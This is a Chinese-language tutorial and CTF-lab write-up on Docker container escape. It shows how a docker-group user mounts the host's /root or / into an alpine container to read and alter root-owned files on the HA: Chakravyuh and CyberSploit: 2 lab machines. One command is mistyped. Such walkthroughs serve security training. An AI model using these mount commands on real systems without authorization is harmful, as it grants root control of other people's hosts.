Docker容器的特点:
1.轻量级
在机器上运行的Docker容器共享该机器的操作系统内核; 他们使用更少的计算和内存。图像由文件系统层构建并共享公用文件。最大限度地减少了磁盘使用量。
2.标准
Docker容器基于开放标准,可在Linux发行版,Microsoft Windows以及任何基础架构(包括虚拟机,裸机)上运行。
3.安全
Docker容器将应用程序彼此隔离并从底层基础架构中分离出来。提供了最强大的默认隔离功能,可以将应用程序问题限制在一个容器中,而不是整个机器上。
关于docker提权(逃逸提权):
默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限;
用户在创建一个docker容器后,容器内默认是root账户,在不需要加sudo的情况下可以任意更改容器内的配置。
正常情况下,这种模式既可以保证一台机器被很多普通用户使用,通过docker容器的隔离,相互之前互不影响;也给用户在容器内开放了充足的权限保证用户可以正常安装软件,修改容器配置等操作。
普通用户如果要想使用 docker,而且不想给 sudo 权限,那么一般会选择把该用户加入 docker 用户组内,同时在 docker 容器内是具有 root 权限的,这样保证了用户对容器的完全控制;
docker 用户组权限:
sudo groupadd docker
#添加docker用户组
sudo gpasswd -a $USER docker
#将当前用户添加至docker用户组
newgrp docker
docker逃逸提权(复现流程):
1.首先使用命令:docker images
用于查看本地已下载的镜像
REPOSITORY # 镜像仓库
TAG # 镜像标签
IMAGE ID # 镜像ID
CREATED # 镜像创建时间
SIZE # 镜像大小
2.如果不存在,
就可以先下载个镜像,然后把root文件夹挂载到上面!!!
使用命令:dockeer run alpine chroot 来下载镜像文件;
(不存在docker镜像情况下使用)
3.将root文件夹挂载在上面
docker run -it -v /root:/mnt alpine
将文件夹挂载到mnt文件夹
4.可以看到我们已经拥有了root权限
Docker挂载命令逃逸:
-v /root(需要挂载得目录):/abc(新建挂载目录)
参数 -v 将容器外部的目录 / 挂载到容器内部
因为docker环境运行得时候是需要root权限的,所以可以实现提权的目的;
靶机复现验证:
1. HA: Chakravyuh靶机
docker提权:
(-v 可以映射到容器外的host文件的参数)
命令:
docker run -v /root:/mnt -it 965ea09ff2eb /bin/sh
含义:docker运行一个交互式的Linux系统,挂载系统的/root 目录到/mnt目录下,这样就可以获取到root目录下的文件内容了
成功得到root权限,实验成功 !!!
2. CyberSploit: 2靶机
靶机渗透测试wp
我们需要联网拉取镜像
命令: docker pull alpine
alpine是迷你的linux系统
命令: docker images
用于查看本地已下载的镜像
命令: docker run -v /:/mnt -it alpine
执行镜像文件
提权成功!!!
在docker中使用alpine
- 拉取启动
docker pull alpine
docker run -it --name 【containername】 【imagename】
-i 以交互模式运行容器,通常与 -t 同时使用;
-t 为容器重新分配一个伪输入终端,通常与 -i 同时使用;
-d 后台运行容器,并返回容器ID; - 文件传输
从主机复制到容器sudo docker cp host_path containerID:container_path
从容器复制到主机sudo docker cp containerID:container_path host_path
总结:
docker 允许挂载主机的目录,那么挂载 /etc 文件之后就可以任意修改主机配置了;
也就是说,原本应该与主机完全隔离的用户系统,通过挂载,容器直接使用了主机的用户系统;在容器内对用户权限的修改,都等同于在主机上进行修改!!!